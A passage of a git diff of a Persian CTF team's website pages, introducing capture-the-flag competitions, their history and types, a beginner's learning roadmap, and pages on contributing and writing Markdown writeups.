  • در مسابقه دفاع - حمله، تیم مدافع مجاز به غیرفعال کردن اتصالات شبکه یا خاموش کردن دستگاه‌ها نیست. در غیر این صورت، تیم متخلف امتیاز از دست می‌دهد و حتی شاید رد صلاحیت شود.

تیم‌های مطرح جهانی

از زمانی که ctftime در سال ۲۰۱۱ شروع به ثبت قهرمان مجموع مسابقات هر سال کرده، هشت تیم توانسته‌اند رتبه اول جهانی در سال‌های متفاوت را بدست آورند. در جدول زیر ده تیم‌ برتر تا سال ۲۰۲۳ به ترتیب دفعات قهرمانی و نایب قهرمانی لیست است:

تیم قهرمانی نایب قهرمانی کشور
Plaid Parliament of Pwning (PPP) ۳ ۳ 🇺🇸
Dragon Sector ۳ ۲ 🇵🇱
perfect blue ۲ ۱ 🇺🇸
More Smoked Leet Chicken ۱ ۲ 🇷🇺
organizers ۱ ۱ 🇨🇭
duca ۱ ۰ 🇺🇦
Eat, Sleep, Pwn, Repeat ۱ ۰ 🇩🇪
Blue Water ۱ ۰ 🇺🇸
Balsn ۰ ۱ 🇹🇼
C4T BuT S4D ۰ ۱ 🇷🇺

سخن پایانی

اگر فرد با تجربه‌ای در دنیای امنیت هستید که قصد به چالش کشیدن توانایی خود را دارید، یا به دنبال هیجان و یادگیری بیشتر امنیت هستید، یکی بهترین انتخاب‌ها مسابقه‌های CTF است. اگر هنوز تجربه شرکت در این مسابقه‌ها رو نداشتید بهتره سریع‌تر یک سر به سایت ctftime بزنید و در نزدیک‌‌ترین CTF شرکت کنید و همزمان لذت حل چالش و هیجان رقابت را ببرید.


نویسنده

HIGHer

\ No newline at end of file +

این مسابقات از بازی‌های ورزشی فتح پرچم الهام گرفته شده و معمولا در یک بازه زمانی ۲۴ تا ۴۸ ساعت برگزار می‌شوند. شرکت‌ها و دانشگاه‌ها با هدف کشف، پرورش و جذب افراد با استعداد یا خبره در زمینه امنیت، حامیان و برگزارکنندگان اصلی این رویداد را تشکیل می‌دهند که اغلب جوایزی را نیز برای برندگان آن در نظر می‌گیرند. در کنار این، نهادهای مستقلی مانند جامعه‌ی هکرها و دانشجویان نیز برای ایجاد رقابت و یک سرگرمی هیجان‌انگیز، این مسابقات را برگزار می‌کنند.

مروری بر تاریخچه CTF

برای اینکه مروری تاریخی روی برگزاری مسابقات CTF داشته باشیم باید ابتدا با یکی از قدیمی‌ترین و شاید بزرگ‌ترین کنفرانس‌های هک و امنیت سایبری به نام Defcon که هر ساله در شهر لاس وگاس آمریکا برگزار می‌شود آشنا شویم. امسال که سی‌ودومین دوره آن در حال ثبت‌نام است این کنفرانس به عنوان بزرگ‌ترین گردهمایی در دنیای امنیت شناخته می‌شود که شاید شرکت و سخنرانی در آن آرزوی هر هکر یا علاقه‌مند به امنیت باشد. شرکت کنندگان این کنفرانس شامل متخصصان و پژوهشگران امنیت سابیری، روزنامه‌نگاران، کارمندان دولت فدرال، دانشجویان و هکرها هستند که از سراسر دنیا دور هم جمع می‌شوند تا آخرین تجربیات خود در زمینه هر چیز قابل هک را با هم در میان بگذارند. اولین دوره این کنفرانس توسط جف ماس (Jeff Moss) به طور غیرمنتظره به عنوان یک مهمانی برای خداحافظی از یک دوست هکرش در سال ۱۹۹۳ تأسیس شد. این مهمانی با حضور تقریباً ۱۰۰ نفر از دوستان هکر او که از راه دور و نزدیک آمده بودند، برگزار شد.

defcon1.jpg

دوره‌های نخست CTF

اولین دوره مسابقه CTF به چهارمین دوره کنفرانس یعنی سال ۱۹۹۶ برمی‌گردد. Defcon CTF شاید قدیمی‌ترین CTF است که هنوز به برگزاری خود ادامه می‌دهد. دوره‌های نخست آن (۱۹۹۶-۲۰۰۱) هیچ قانون مشخصی برای رقابت‌ها وجود نداشت. همچنین محیط یا بستر حرفه‌ای برای آن ساخته نشده بود و امتیازدهی تیم‌ها دستی انجام می‌شد. برگزارکنندگان دوره‌های اول داوطلبان و علاقه‌مندان غیرحرفه‌ای بودند که تجربه کافی نداشتند. اختلاف و نارضایتی زیاد به دلیل فقدان سیستم امتیازدهی خودکار، عدم دانش فنی کافی داوران، تأخیرها و خطاهای زیاد در امتیازدهی، ناپایداری شبکه و پیکربندی نامناسب از مهم‌ترین مشکلات دوره‌های اول این مسابقات بود. اما در طول سال‌های بعد، این بازی‌ها آهسته به بلوغ رسید و امتیازدهی تا حد زیادی خودکار شدند.

رقابت‌های حال حاضر

در چند سال گذشته، فتح پرچم به یک نام محبوب در حوزه امنیت سایبری تبدیل شده و تعداد مسابقات CTF به طور پیوسته در حال افزایش است. به عنوان مثال تنها در سال ۲۰۲۳ بالغ بر ۲۹۰ مسابقه CTF در سطح جهان برگزار شده است. علاوه بر این، مهارت‌های امنیتی گسترده‌تر و جدیدتری مانند بلاکچین، هوش مصنوعی، پنهان‌نگاری و جاسوسی از طریق وب (Osint) به چالش‌های این مسابقات اضافه شده است. به همین دلایل وب سایت ctftime از سال ۲۰۱۱ اقدام به نگهداری و ثبت اطلاعات مربوط به هر مسابقه، چالش‌ها، امتیاز تیم‌ها و وزن‌دهی مسابقات کرده تا چالش‌ها و رتبه تیم‌ها به فراموشی سپرده نشود. این وبسایت اطلاعات کاملی در مورد تقویم مسابقات پیش رو در سراسر دنیا و مسابقات گذشته و همچنین اطلاعات دیگری مانند آرشیو کاملی از چالش‌ها، رتبه‌ی تیم‌ها در هر مسابقه و امتیاز کلی و رده‌بندی سالانه تیم‌های CTF را ارائه می‌دهد. به طور کلی ctftime را می‌توان به عنوان یک مرجع خوب برای آشنایی و شرکت در مسابقات CTF در نظر گرفت.

همان‌طور که مسابقات CTF در گذر زمان به بلوغ رسیدند و شهرت بیشتری پیدا کردند، تقاضای بیشتری از طرف تیم‌های مختلف برای شرکت در این بازی‌ها به وجود آمد. از آنجایی که Defcon CTF به عنوان بهترین بازی‌های هک و امنیت جهان شناخته می‌شود و تقاضا برای شرکت در آن بسیار زیاد است در نتیجه روشی مشابه بازی‌های ورزشی المپیک برای ورود آن اجرا می‌شود. تیم‌ها باید مجموعه‌ای از مسابقات مقدماتی CTF را انجام دهند تا امتیاز لازم را برای حضور در این رویداد کسب کنند. به همین دلیل Defcon CTF به المپیک هکرها معروف شده که جزئیاتی از نتایج دوره‌های مختلف آن در اینجا آمده است. در نهایت تیم قهرمان علاوه بر جایزه، می‌تواند بالاترین نشان به نام "نشان سیاه" (Black Badge) را بدست آورد.

DefconCTF-logo.jpeg

انواع CTF

منابع مختلف مسابقات CTF را براساس معیارهای گوناگون دسته‌بندی می‌کنند که در اینجا روش‌های متفاوت طبقه‌بندی آن را تشریح می‌کنیم.

۱- براساس نوع چالش

نوع چالش‌‌ها یا نحوه رقابت تیم‌ها یکی از روش‌های دسته‌بندی این مسابقات است. بر این اساس می‌توان CTFها را به دفاع‌ - حمله (Attack-Defense) و سبک موضوعی (Jeopardy) یا ترکیبی از این دو تقسیم کرد.

این دسته، از رایج‌ترین نوع برگزاری مسابقات CTF است. چالش‌های موجود در مسابقه براساس حوزه‌های مختلف امنیت مانند وب، مهندسی معکوس، جرم‌یابی، Pwn، رمزنگاری، پنهان‌نگاری وغیره با درجه سختی متفاوت مانند شکل زیر طبقه‌بندی شده‌اند و تیم‌ها تلاش می‌کنند تا این چالش‌ها را حل و پرچم آن چالش را بدست آورند. در روش موضوعی رقابت بین تیم‌ها براساس کسب امتیاز بیشتر است. در این نوع مسابقه نیاز به مهارت زیاد در همه شاخه‌های مختلف نیست چون هر یک از اعضای تیم می‌تواند به حل چالش‌های مربوط به سررشته خود بپردازند.

Jeopardy.jpg

در رقابت‌های دفاع-حمله اطلاعات اولیه یکسانی مانند تصویری از پیکره‌بندی شبکه، سرویس‌ها و سرورها در اختیار هر تیم قرار می‌گیرد. در این حالت، هر تیم باید همزمان روی آسیب‌پذیری‌ سرویس‌های تیم‌های رقیب کار کند و از سرویس‌های متعلق به خود محافظت کند. به دلیل اینکه سرویس‌های داده شده به تیم‌ها دارای آسیب‌پذیرهای مشابه است؛ اگر آسیب پذیری در سرویس های خود پیدا کنند، آن را به سرعت در سمت خود رفع و از آن برای حمله به تیم‌های دیگر استفاده می‌کنند. این مسئله نشان می‌دهد که مسابقات دفاع-حمله نیاز به سطح دانش بالایی در حوزه‌های مختلف امنیت دارد.

attack-defense.png

۲- براساس شیوه برگزاری

رقابت‌های CTF می‌تواند به صورت حضوری یا آنلاین برگزار شود. معمولا بسیاری از رقابت‌های حضوری در حاشیه کنفرانس‌های امنیت سایبری مانند Hitcon ،Nulcon ،CSAW و Insomnihack برگزار می‌شوند. تیم‌ها بعد از بدست آوردن امتیاز لازم در مسابقه مقدماتی، برای حضور در محل مسابقه دعوت می‌شوند، اما در رقابت‌های آنلاین همه‌ی اتفاقات مانند اعلان‌ها، چالش‌ها و تابلو امتیازات روی سایت مسابقه قرار دارد و تیم‌ها بدون هیچ محدودیت جغرافیایی از سراسر جهان در آن شرکت می‌کنند. مسابقات دفاع-حمله اغلب به صورت حضوری برگزار می‌شوند اما مسابقات موضوعی به شکل آنلاین برگزار می‌شوند.

on-site.png

۳- براساس مدت برگزاری

برخی از CTFها دارای محدود زمانی نیستند و چالش‌های آنها معمولا برای مدت زیادی روی وبسایت قرار دارند. این نوع از CTF به wargame معروف است. اگرچه این نوع از CTFها هیجان رقابت در یک مدت زمان محدود را ندارند اما گزینه مناسبی برای تمرین و یادگیری به شمار می‌روند. بسیاری از سایت‌های wargame هر دو نوع چالش یعنی موضوعی و دفاع-حمله را ارائه می‌دهند. از مشهورترین این سایت‌ها می‌توان hackthebox ،Root-Me OverTheWire و TryHackMe را نام برد.

سطح مسابقات CTF

برای شرکت در هر مسابقه CTF لازم است که در ابتدا آشنایی با سطح آن مسابقه داشته باشیم. به طور کلی باید در نظر داشت که تعیین سطح یک مسابقه یک امر نسبی است که به مهارت و دانش قبلی افراد بستگی دارد. با این حال، در این بخش مسابقات را براساس وزن‌دهی سایت ctftime به سه دسته تقسیم کردیم و برای هر سطح تعدادی از مسابقات بهتر و شناخته شده را معرفی می‌کنیم.

ctftime.png

۱- مبتدی

مسابقه‌هایی که بین وزن صفر تا ۴۰ دارند معمولا مسابقاتی هستند که برای افراد تازه وارد به دنیای امنیت توصیه می‌شوند. تعداد این مسابقه‌ها بسیار بیشتر از سایر سطوح است و چالش‌های آن‌ها مفاهیم اولیه امنیت تا مسائل با درجه سختی متوسط را پوشش می‌دهند. از مسابقات مطرح و قابل قبول در این سطح می‌توان از HackTheBoxCTF ،ImaginaryCTF ،SunshineCTF و picoctf نام برد. با این حال، باید در نظر داشت که این مسابقات ممکن است در گذر زمان و براساس چالش‌هایی که بعداً ارائه می‌دهند در سطح دشوارتری قرار بگیرند.

۲- متوسط

مسابقه‌های سطح متوسط معمولا وزن‌ بین ۴۰ تا ۸۰ را دارند. تعداد این مسابقه‌ها معمولا نسبت به سطح مبتدی کمتر است زیرا ارائه یک مسابقه با کیفیت در سطح متوسط معمولا نیاز به برگزاری پیوسته مسابقه در سطح قابل قبول را دارد. تعدادی از CTFهای این سطح در زمان نگارش این مقاله شامل RuCTF ،Securinets-CTF ،UIUCTF MidnightSunCTF و bi0sCTF است.

۳- حرفه‌ای

بهترین و معمولا قدیمی‌ترین مسابقات CTF در این سطح قرار می‌گیرند. وزن این مسابقات اغلب بالاتر از ۸۰ است که مناسب افرادی با دانش و تجربه بالا در دنیای امنیت است. تعداد مسابقات این سطح انگشت شمار است که برخی از آن‌ها به عنوان مسابقه‌ی مقدماتی برای راه‌یابی به Defcon CTF در نظر گرفته شده تا تیم‌های قهرمان در آن‌ها به Defcon CTF راه پیدا کنند. تعدادی از این مسابقات شامل PlaidCTF ،0CTF ،ASIS-CTF ،Google-CTF و HITCON-CTF است.

قوانین

این مسابقات قوانین بسیار سخت‌گیرانه‌ای ندارد. دسترسی به اینترنت و گفتگو در مورد چالش‌ها در داخل تیم اتفاق می‌افتد. با این وجود برخی از قوانین در CTF وجود دارد که در اینجا لیست شده است:

تیم‌های مطرح جهانی

از زمانی که ctftime در سال ۲۰۱۱ شروع به ثبت قهرمان مجموع مسابقات هر سال کرده، هشت تیم توانسته‌اند رتبه اول جهانی در سال‌های متفاوت را بدست آورند. در جدول زیر ده تیم‌ برتر تا سال ۲۰۲۳ به ترتیب دفعات قهرمانی و نایب قهرمانی لیست است:

تیم قهرمانی نایب قهرمانی کشور
Plaid Parliament of Pwning (PPP) ۳ ۳ 🇺🇸
Dragon Sector ۳ ۲ 🇵🇱
perfect blue ۲ ۱ 🇺🇸
More Smoked Leet Chicken ۱ ۲ 🇷🇺
organizers ۱ ۱ 🇨🇭
duca ۱ ۰ 🇺🇦
Eat, Sleep, Pwn, Repeat ۱ ۰ 🇩🇪
Blue Water ۱ ۰ 🇺🇸
Balsn ۰ ۱ 🇹🇼
C4T BuT S4D ۰ ۱ 🇷🇺

سخن پایانی

اگر فرد با تجربه‌ای در دنیای امنیت هستید که قصد به چالش کشیدن توانایی خود را دارید، یا به دنبال هیجان و یادگیری بیشتر امنیت هستید، یکی بهترین انتخاب‌ها مسابقه‌های CTF است. اگر هنوز تجربه شرکت در این مسابقه‌ها رو نداشتید بهتره سریع‌تر یک سر به سایت ctftime بزنید و در نزدیک‌‌ترین CTF شرکت کنید و همزمان لذت حل چالش و هیجان رقابت را ببرید.


نویسنده

HIGHer

\ No newline at end of file diff --git a/getStarted/beginners-guide/index.html b/getStarted/beginners-guide/index.html index d57626e3..0a0891cc 100644 --- a/getStarted/beginners-guide/index.html +++ b/getStarted/beginners-guide/index.html @@ -1,4 +1,4 @@ - راهنمای شروع CTF - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

راهنمای شروع CTF

حال که با مسابقات CTF آشنا شدید سوال این است که: از کجا باید شروع کنم و نقشه راه مناسب چیست؟ چطوری به یک شخص ماهر در حل چالش‌های CTF تبدیل بشم؟ در این اینجا قصد داریم به این پرسش‌ها به شکل کلی جواب بدیم و یک راهنمایی اولیه برای افراد تازه وارد به این حوزه ارائه بدیم و سپس در هر دسته به طور تخصصی‌تر جزییاتی ارائه خواهیم داد.

با فرض اینکه یک آشنایی مقدماتی با کامپیوتر، یک زبان‌ برنامه‌نویسی و اندکی دانش زبان انگلیسی دارید می‌توانید شروع به حل چالش‌های CTF کنید. باید توجه داشت که "شروع" یک مفهوم نسبی و سلیقه‌ای است، با این حال گام‌های زیر به ترتیب حاوی نکاتی است که به شما در این مورد کمک می‌کند.

۱- یافتن حوزه مورد علاقه 🌟 🎯

پیدا کردن حوزه مورد علاقه‌ در CTF می‌تواند اولین گام مهم برای موفقیت در این مسیر باشد. همان‌طور که در منوی بالا می‌بینید شاخه‌های مختلفی از امنیت در مسابقات CTF وجود دارد. دسته‌های مختلف CTF مانند رمزنگاری، وب، pwn، مهندسی معکوس و جرم‌شناسی حوزه‌های اصلی در CTF هستند. با مراجعه به هر شاخه از منوی بالا توضیحاتی در مورد آن دسته و چالش‌های آن ارائه می‌دهد که شاید به شما در انتخاب خود کمک کند.
- توصیه: اگرچه می‌توانید در بسیاری از دسته‌ها فعالیت کنید اما پیشنهاد می‌کنیم یک حوزه را عمیق‌تر و تخصصی‌تر دنبال کنید و سایر حوزه‌ها را به عنوان دانش اضافی در کنار آن تقویت کنید.

۲- استفاده از منابع آموزشی 🌐 📚

بعد از پیدا کردن حوزه مورد علاقه باید شروع به مطالعه منابع آموزشی مختلف (وبسایت، کتاب، بلاگ) کنید تا دانش پایه آن حوزه کسب کنید. یک از سایت‌های خوب در این زمینه بخش یادگیری سایت picoctf است که می‌توانید استفاده کنید. سایت‌های آموزشی دیگری هم به شکل تخصصی روی یک حوزه خاص آموزش یا چالش‌هایی را ارائه می‌دهند که می‌توانید به آن‌ها مراجعه کنید.

PWN رمزنگاری مهندسی معکوس
alt-text-4 alt-text-3 alt-text-4
osint جرم‌شناسی وب
alt-text-4 alt-text-4 alt-text-4

علاوه بر این، در کنار مطالعه هر حوزه، نیاز به یادگیری ابزارها و کتابخانه‌های مختلفی مانند Wireshark pwntools ،John the Ripper و غیره دارید که به حل چالش‌ها کمک می‌کند. در همین سایت، ما در هر بخش سعی کردیم ابزارها و کتابخانه‌های کاربردی را به مرور معرفی کنیم.

۳- پیوستن به گروه‌های CTF 💬 👥

یکی از راه‌های تقویت مهارت در حل چالش‌ها ایجاد ارتباط با افراد با تجربه و حرفه‌ای است. ارتباطات می‌تواند منبع ارزشمندی برای افزایش سرعت یادگیری و حتی فرصت‌های شغلی آینده باشد. شما می‌توانید در شبکه‌های اجتماعی مانند دیسکورد، تلگرام و توییتر عضو سرورهای CTF شوید تا سوالات خود را بپرسید یا به سوالات دیگران پاسخ دهید. در کل این تعاملات باعث افزایش مهارت شما می‌شود. بسیاری از گروه‌ها و سرورهای مرتبط با CTF در Discord فعالیت می‌کنند که می‌توانید به سرورهای معروف مانند Hack The Box ،Capture The Flag بپیوندید. در توییتر نیز با دنبال کردن افراد معروف و تیم‌ها مرتبط با CTF (مثل تیم خودمون 😄) می‌توانید از اخبار و چالش‌های جدید آگاه شوید.

۴- خواندن Write-up 📖 📝

شاید مهم‌ترین عامل برای یادگیری و تقویت در CTF خواندن رایتاپ یا نحوه حل چالش توسط دیگران است. خواندن مداوم رایتاپ چالش‌ها می‌تواند کمک زیاد به تقویت شما کند. گاهی نوشتن نحوه حل برای خود و همچنین خلاصه یا نکته‌برداری یک چالش به ماندگاری آن در ذهن کمک می‌کند.

۵- تمرین منظم و پیوسته 🏋 🔁

گاهی خواندن به تنهایی کافی نیست و لازم است خود را به چالش بکشید و شروع به حل یک چالش CTF کنید. برای مثال یک مدت زمانی را روی یک چالش صرف کنید و اگر هنوز گیر کرده‌اید سپس به دنبال یک راهنمایی باشید یا رایتاپ‌های مشابه را بررسی کنید.

برای این کار استفاده از wargame گزینه مناسبی است زیرا شما به اندازه کافی زمان دارید تا روی یک چالش CTF تمرکز کنید. علاوه بر سایت‌های اشاره شده در بالا که به طور تخصصی روی یک دسته متمرکز بودند، در زیر تعدادی از سایت‌هایی که چالش از همه حوزه‌ها دارند را قرار دادیم. این سایت‌ها چالش‌هایی را از سطح مبتدی تا دشوار را ارائه می‌دهند که می‌توانید از آن‌ها برای تمرین کردن استفاده کنید.

- توصیه: در این بین picoctf شاید گزینه مناسب‌تری برای شروع باشد.

alt-text-2 alt-text-2 alt-text-2

alt-text-1 alt-text-1 alt-text-1

alt-text-3 alt-text-4

برخی از سایت‌های wargame معروف

۶- شرکت کردن در مسابقه 🏆 🎮

راه دیگر برای شروع و تقویت مهارت مسابقه دادن است. بعد از اینکه اندکی با حوزه چالش‌ها و نحوه حل آن‌ها آشنا شدید وقت خوبی است که در یک مسابقه شرکت کنید. برای این کار می‌توانید به سایت ctftime سر بزنید. بهتر است که ابتدا در مسابقاتی با وزن کم (۰ تا ۲۵) شرکت کنید چون این مسابقات برای افرادی است که تازه وارد این عرصه شده‌اند.

- توصیه:

  • ایجاد یا پیوستن به یک تیم: استفاده از تجربه دیگران و هم فکری گروهی باعث درک بهتری از چالش و ماندگاری بیشتر آن در ذهن می‌شود.

  • بررسی چالش‌ها بعد از اتمام مسابقه: دلایل یا اشتباهاتی که باعث شده نتوانید یک چالش را حل کنید را پیدا کنید. همچنین به خاطر سپردن الگو چالش‌ها و تفاوت آن با چالش‌های قبلی در ذهن بسپرید.

امیدواریم این موارد راهنمای شروع مناسبی باشد و شما را برای موفقیت کمک کند.

نویسنده

HIGHer

\ No newline at end of file +-->

راهنمای شروع CTF

حال که با مسابقات CTF آشنا شدید سوال این است که: از کجا باید شروع کنم و نقشه راه مناسب چیست؟ چطوری به یک شخص ماهر در حل چالش‌های CTF تبدیل بشم؟ در این اینجا قصد داریم به این پرسش‌ها به شکل کلی جواب بدیم و یک راهنمایی اولیه برای افراد تازه وارد به این حوزه ارائه بدیم و سپس در هر دسته به طور تخصصی‌تر جزییاتی ارائه خواهیم داد.

با فرض اینکه یک آشنایی مقدماتی با کامپیوتر، یک زبان‌ برنامه‌نویسی و اندکی دانش زبان انگلیسی دارید می‌توانید شروع به حل چالش‌های CTF کنید. باید توجه داشت که "شروع" یک مفهوم نسبی و سلیقه‌ای است، با این حال گام‌های زیر به ترتیب حاوی نکاتی است که به شما در این مورد کمک می‌کند.

۱- یافتن حوزه مورد علاقه 🌟 🎯

پیدا کردن حوزه مورد علاقه‌ در CTF می‌تواند اولین گام مهم برای موفقیت در این مسیر باشد. همان‌طور که در منوی بالا می‌بینید شاخه‌های مختلفی از امنیت در مسابقات CTF وجود دارد. دسته‌های مختلف CTF مانند رمزنگاری، وب، pwn، مهندسی معکوس و جرم‌شناسی حوزه‌های اصلی در CTF هستند. با مراجعه به هر شاخه از منوی بالا توضیحاتی در مورد آن دسته و چالش‌های آن ارائه می‌دهد که شاید به شما در انتخاب خود کمک کند.
- توصیه: اگرچه می‌توانید در بسیاری از دسته‌ها فعالیت کنید اما پیشنهاد می‌کنیم یک حوزه را عمیق‌تر و تخصصی‌تر دنبال کنید و سایر حوزه‌ها را به عنوان دانش اضافی در کنار آن تقویت کنید.

۲- استفاده از منابع آموزشی 🌐 📚

بعد از پیدا کردن حوزه مورد علاقه باید شروع به مطالعه منابع آموزشی مختلف (وبسایت، کتاب، بلاگ) کنید تا دانش پایه آن حوزه کسب کنید. یک از سایت‌های خوب در این زمینه بخش یادگیری سایت picoctf است که می‌توانید استفاده کنید. سایت‌های آموزشی دیگری هم به شکل تخصصی روی یک حوزه خاص آموزش یا چالش‌هایی را ارائه می‌دهند که می‌توانید به آن‌ها مراجعه کنید.

PWN رمزنگاری مهندسی معکوس
alt-text-4 alt-text-3 alt-text-4
osint جرم‌شناسی وب
alt-text-4 alt-text-4 alt-text-4

علاوه بر این، در کنار مطالعه هر حوزه، نیاز به یادگیری ابزارها و کتابخانه‌های مختلفی مانند Wireshark pwntools ،John the Ripper و غیره دارید که به حل چالش‌ها کمک می‌کند. در همین سایت، ما در هر بخش سعی کردیم ابزارها و کتابخانه‌های کاربردی را به مرور معرفی کنیم.

۳- پیوستن به گروه‌های CTF 💬 👥

یکی از راه‌های تقویت مهارت در حل چالش‌ها ایجاد ارتباط با افراد با تجربه و حرفه‌ای است. ارتباطات می‌تواند منبع ارزشمندی برای افزایش سرعت یادگیری و حتی فرصت‌های شغلی آینده باشد. شما می‌توانید در شبکه‌های اجتماعی مانند دیسکورد، تلگرام و توییتر عضو سرورهای CTF شوید تا سوالات خود را بپرسید یا به سوالات دیگران پاسخ دهید. در کل این تعاملات باعث افزایش مهارت شما می‌شود. بسیاری از گروه‌ها و سرورهای مرتبط با CTF در Discord فعالیت می‌کنند که می‌توانید به سرورهای معروف مانند Hack The Box ،Capture The Flag بپیوندید. در توییتر نیز با دنبال کردن افراد معروف و تیم‌ها مرتبط با CTF (مثل تیم خودمون 😄) می‌توانید از اخبار و چالش‌های جدید آگاه شوید.

۴- خواندن Write-up 📖 📝

شاید مهم‌ترین عامل برای یادگیری و تقویت در CTF خواندن رایتاپ یا نحوه حل چالش توسط دیگران است. خواندن مداوم رایتاپ چالش‌ها می‌تواند کمک زیاد به تقویت شما کند. گاهی نوشتن نحوه حل برای خود و همچنین خلاصه یا نکته‌برداری یک چالش به ماندگاری آن در ذهن کمک می‌کند.

۵- تمرین منظم و پیوسته 🏋 🔁

گاهی خواندن به تنهایی کافی نیست و لازم است خود را به چالش بکشید و شروع به حل یک چالش CTF کنید. برای مثال یک مدت زمانی را روی یک چالش صرف کنید و اگر هنوز گیر کرده‌اید سپس به دنبال یک راهنمایی باشید یا رایتاپ‌های مشابه را بررسی کنید.

برای این کار استفاده از wargame گزینه مناسبی است زیرا شما به اندازه کافی زمان دارید تا روی یک چالش CTF تمرکز کنید. علاوه بر سایت‌های اشاره شده در بالا که به طور تخصصی روی یک دسته متمرکز بودند، در زیر تعدادی از سایت‌هایی که چالش از همه حوزه‌ها دارند را قرار دادیم. این سایت‌ها چالش‌هایی را از سطح مبتدی تا دشوار را ارائه می‌دهند که می‌توانید از آن‌ها برای تمرین کردن استفاده کنید.

- توصیه: در این بین picoctf شاید گزینه مناسب‌تری برای شروع باشد.

alt-text-2 alt-text-2 alt-text-2

alt-text-1 alt-text-1 alt-text-1

alt-text-3 alt-text-4

برخی از سایت‌های wargame معروف

۶- شرکت کردن در مسابقه 🏆 🎮

راه دیگر برای شروع و تقویت مهارت مسابقه دادن است. بعد از اینکه اندکی با حوزه چالش‌ها و نحوه حل آن‌ها آشنا شدید وقت خوبی است که در یک مسابقه شرکت کنید. برای این کار می‌توانید به سایت ctftime سر بزنید. بهتر است که ابتدا در مسابقاتی با وزن کم (۰ تا ۲۵) شرکت کنید چون این مسابقات برای افرادی است که تازه وارد این عرصه شده‌اند.

- توصیه:

امیدواریم این موارد راهنمای شروع مناسبی باشد و شما را برای موفقیت کمک کند.

نویسنده

HIGHer

\ No newline at end of file diff --git a/getStarted/contribution/index.html b/getStarted/contribution/index.html index 60a4be9d..91d7c072 100644 --- a/getStarted/contribution/index.html +++ b/getStarted/contribution/index.html @@ -1,4 +1,4 @@ - نحوه همکاری - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

نحوه همکاری

ما همه از کسانی که بخواهند با ما همکاری داشته باشند به گرمی استقبال می‌کنیم. این همکاری می‌تواند در قالب مشارکت در بخش‌های زیر خلاصه شود:

  • نوشتن رایتاپ:

اگر تمایل دارید که دانش و تجربه خود در حل چالش‌های CTF را در اختیار دیگران بگذارید خوشحال خواهیم شد که از بستر این سایت استفاده کنید. شما می‌توانید ابتدا نکات مربوط به نگارش رایتاپ و نحوه نوشتن با فرمت md را مطالعه کنید تا بعد از بازبینی رایتاپ، آن را با نام خودتان منتشر کنیم.

  • عضویت در تیم:

برای عضویت در تیم فلگ موتوری هیچ محدودی از لحاظ سطح دانش وجود ندارد و تنها ملاک ارزیابی تلاش و پشتکار فرد در طول زمان است. برای عضویت در تیم، می‌توانید فرم موجود در اینجا را پر کنید یا از طریق دیسکورد به آدرس mheidari98 پیام دهید.

  • ترجمه و تولید محتوا:

تهیه مقاله‌های پژوهشی فارسی مرتبط با CTF یا تصاویر و ویدیوهای آموزشی نیز می‌تواند از موارد همکاری با ما باشد.

  • انتقاد و پیشنهاد:
  • ...
\ No newline at end of file +-->

نحوه همکاری

ما همه از کسانی که بخواهند با ما همکاری داشته باشند به گرمی استقبال می‌کنیم. این همکاری می‌تواند در قالب مشارکت در بخش‌های زیر خلاصه شود:

اگر تمایل دارید که دانش و تجربه خود در حل چالش‌های CTF را در اختیار دیگران بگذارید خوشحال خواهیم شد که از بستر این سایت استفاده کنید. شما می‌توانید ابتدا نکات مربوط به نگارش رایتاپ و نحوه نوشتن با فرمت md را مطالعه کنید تا بعد از بازبینی رایتاپ، آن را با نام خودتان منتشر کنیم.

برای عضویت در تیم فلگ موتوری هیچ محدودی از لحاظ سطح دانش وجود ندارد و تنها ملاک ارزیابی تلاش و پشتکار فرد در طول زمان است. برای عضویت در تیم، می‌توانید فرم موجود در اینجا را پر کنید یا از طریق دیسکورد به آدرس mheidari98 پیام دهید.

تهیه مقاله‌های پژوهشی فارسی مرتبط با CTF یا تصاویر و ویدیوهای آموزشی نیز می‌تواند از موارد همکاری با ما باشد.

\ No newline at end of file diff --git a/getStarted/customization/index.html b/getStarted/customization/index.html index be5e8458..51db263c 100644 --- a/getStarted/customization/index.html +++ b/getStarted/customization/index.html @@ -1,4 +1,4 @@ - شخصی‌سازی - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

شخصی‌سازی

انواع زمینه‌های رنگی

۱_ روشن و تاریک بودن پس‌زمینه

با استفاده از این ویژگی می‌توانید براساس تنظیمات مرورگر و سیستم، به طور خودکار یا به صورت دستی بین زمینه‌های روشن و تاریک جابجا شوید.

\ No newline at end of file +
\ No newline at end of file diff --git a/getStarted/template/index.html b/getStarted/template/index.html index 682246b3..da0499d9 100644 --- a/getStarted/template/index.html +++ b/getStarted/template/index.html @@ -1,4 +1,4 @@ - نوشتن با فرمت md - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

نحوه نوشتن با فرمت Markdown

برای نوشتن رایتاپ با فرمت md می‌توانید از نرم‌افزار یادداشت‌برداری متن باز Joplin در ویندوز استفاده کنید. این نرم‌افزار، فرمت md و زبان فارسی را پشتیبانی می‌کند و نوشته‌ها در آن از راست به چپ نمایش داده می‌شوند. پس از دانلود و نصب نرم‌افزار Joplin, می‌توانید جهت سهولت در نوشتن رایتاپ‌های خود، از این نمونه رایتاپ به عنوان قالبی برای نگارش استفاده کنید. در ادامه این بخش، انواع عناصر نوشتاری Markdown همراه با نمایش آن در سایت در دو تب جداگانه توضیح داده شده که می‌توانید از آن‌ها در نوشته‌های خود استفاده کنید. استفاده از این عناصر می‌تواند باعث ارتقا ساختار و خوانایی رایتاپ شما گردد.

زیربخش ۱

زیربخش ۲

زیربخش ۳

زیربخش ۴
زیربخش ۵
## زیربخش 1
@@ -131,4 +131,4 @@
         * [x] وظیفه دو اول 
         * [ ] وظیفه دو دو
     - [ ] وظیفه سه
-

این تنها بخشی از ویژگی‌های فرمت نوشتاری md بود که در اینجا اشاره شد، اگرچه موارد اشاره شده در اینجا برای نگارش یک رایتاپ کافی است اما می‌توانید برای جزئیات بیشتر در مورد این فرمت به این سایت سر بزنید.


نویسنده

تیم FlagMotori

\ No newline at end of file +

این تنها بخشی از ویژگی‌های فرمت نوشتاری md بود که در اینجا اشاره شد، اگرچه موارد اشاره شده در اینجا برای نگارش یک رایتاپ کافی است اما می‌توانید برای جزئیات بیشتر در مورد این فرمت به این سایت سر بزنید.


نویسنده

تیم FlagMotori

